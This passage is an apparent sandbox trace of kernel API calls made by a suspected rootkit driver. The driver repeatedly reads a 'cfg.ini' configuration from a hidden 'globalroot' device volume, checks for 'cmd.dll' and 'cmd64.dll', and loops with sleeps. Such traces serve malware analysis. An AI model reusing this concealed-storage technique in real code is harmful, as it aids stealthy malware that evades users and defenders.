_Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.101] KeEnterCriticalRegion () [0125.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.101] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.101] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.101] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.101] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.101] IdePortDispatch () returned 0x103 [0125.101] KeWaitForMutexObject () returned 0x0 [0125.101] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.101] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.102] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.102] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.102] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.102] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5a40 [0125.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.102] KeLeaveCriticalRegion () [0125.102] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.102] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.102] KeEnterCriticalRegion () [0125.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.102] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.102] KeLeaveCriticalRegion () [0125.102] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.102] KeEnterCriticalRegion () [0125.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.102] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.102] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.102] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.102] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.102] IdePortDispatch () returned 0x103 [0125.102] KeWaitForMutexObject () returned 0x0 [0125.104] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.104] KeLeaveCriticalRegion () [0125.104] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.104] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.104] KeEnterCriticalRegion () [0125.104] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.104] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba4000 [0125.105] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.105] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.105] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.105] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.105] IdePortDispatch () returned 0x103 [0125.105] KeWaitForMutexObject () returned 0x0 [0125.105] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.105] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.106] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.106] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.106] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.106] IdePortDispatch () returned 0x103 [0125.106] KeWaitForMutexObject () returned 0x0 [0125.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.106] KeLeaveCriticalRegion () [0125.106] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.107] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.107] KeEnterCriticalRegion () [0125.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.107] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.107] KeLeaveCriticalRegion () [0125.107] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.107] KeEnterCriticalRegion () [0125.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.107] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.107] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf5760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.107] KeLeaveCriticalRegion () [0125.107] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.107] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.107] KeEnterCriticalRegion () [0125.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.107] ExFreePoolWithTag (P=0xfffffa8003bf5a40, Tag=0x0) [0125.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.107] KeLeaveCriticalRegion () [0125.107] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.107] ReleaseMutex (hMutex=0xf0) returned 1 [0125.107] Sleep (dwMilliseconds=0x124f80) [0125.125] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.125] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.126] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.126] KeEnterCriticalRegion () [0125.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.126] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.126] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.126] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.126] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.126] IdePortDispatch () returned 0x103 [0125.126] KeWaitForMutexObject () returned 0x0 [0125.126] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.126] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.126] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.126] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.126] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.126] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf33d0 [0125.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.126] KeLeaveCriticalRegion () [0125.126] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.126] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.126] KeEnterCriticalRegion () [0125.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.126] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.126] KeLeaveCriticalRegion () [0125.126] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.126] KeEnterCriticalRegion () [0125.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.127] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.127] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.127] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.127] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.127] IdePortDispatch () returned 0x103 [0125.127] KeWaitForMutexObject () returned 0x0 [0125.127] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.127] KeLeaveCriticalRegion () [0125.127] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.127] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.127] KeEnterCriticalRegion () [0125.127] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.127] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba9000 [0125.127] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.127] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.127] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.127] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.127] IdePortDispatch () returned 0x103 [0125.127] KeWaitForMutexObject () returned 0x0 [0125.128] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.128] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.128] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.128] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.128] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.128] IdePortDispatch () returned 0x103 [0125.128] KeWaitForMutexObject () returned 0x0 [0125.128] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.128] KeLeaveCriticalRegion () [0125.128] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.129] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.129] KeEnterCriticalRegion () [0125.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.129] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.129] KeLeaveCriticalRegion () [0125.129] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.129] KeEnterCriticalRegion () [0125.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.129] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.129] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf58b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.129] KeLeaveCriticalRegion () [0125.129] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.129] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.129] KeEnterCriticalRegion () [0125.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.129] ExFreePoolWithTag (P=0xfffffa8003bf33d0, Tag=0x0) [0125.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.129] KeLeaveCriticalRegion () [0125.129] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.129] ReleaseMutex (hMutex=0xf0) returned 1 [0125.129] Sleep (dwMilliseconds=0x124f80) [0125.144] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.144] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.144] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.144] KeEnterCriticalRegion () [0125.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.144] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.144] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.144] IdePortDispatch () returned 0x103 [0125.145] KeWaitForMutexObject () returned 0x0 [0125.145] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.145] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.145] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.145] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.145] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.145] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5560 [0125.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.145] KeLeaveCriticalRegion () [0125.145] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.145] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.145] KeEnterCriticalRegion () [0125.145] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.145] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.145] KeLeaveCriticalRegion () [0125.145] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.145] KeEnterCriticalRegion () [0125.145] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.145] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.145] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.145] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.145] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.145] IdePortDispatch () returned 0x103 [0125.145] KeWaitForMutexObject () returned 0x0 [0125.145] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.145] KeLeaveCriticalRegion () [0125.145] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.146] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.146] KeEnterCriticalRegion () [0125.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.146] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bae000 [0125.146] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.146] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.146] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.146] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.146] IdePortDispatch () returned 0x103 [0125.146] KeWaitForMutexObject () returned 0x0 [0125.146] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.146] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.146] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.146] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.146] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.146] IdePortDispatch () returned 0x103 [0125.146] KeWaitForMutexObject () returned 0x0 [0125.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.146] KeLeaveCriticalRegion () [0125.146] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.147] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.147] KeEnterCriticalRegion () [0125.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.147] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.147] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.147] KeLeaveCriticalRegion () [0125.147] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.147] KeEnterCriticalRegion () [0125.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.147] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.147] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.147] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.147] KeLeaveCriticalRegion () [0125.147] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.147] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.147] KeEnterCriticalRegion () [0125.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.147] ExFreePoolWithTag (P=0xfffffa8003bf5560, Tag=0x0) [0125.147] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.147] KeLeaveCriticalRegion () [0125.147] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.147] ReleaseMutex (hMutex=0xf0) returned 1 [0125.147] Sleep (dwMilliseconds=0x124f80) [0125.149] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.154] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.154] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.154] KeEnterCriticalRegion () [0125.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.154] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.154] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.154] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.154] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.154] IdePortDispatch () returned 0x103 [0125.154] KeWaitForMutexObject () returned 0x0 [0125.154] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.154] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.154] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.154] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.154] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.155] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5460 [0125.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.155] KeLeaveCriticalRegion () [0125.155] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.155] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.155] KeEnterCriticalRegion () [0125.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.155] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.155] KeLeaveCriticalRegion () [0125.155] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.155] KeEnterCriticalRegion () [0125.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.155] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.155] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 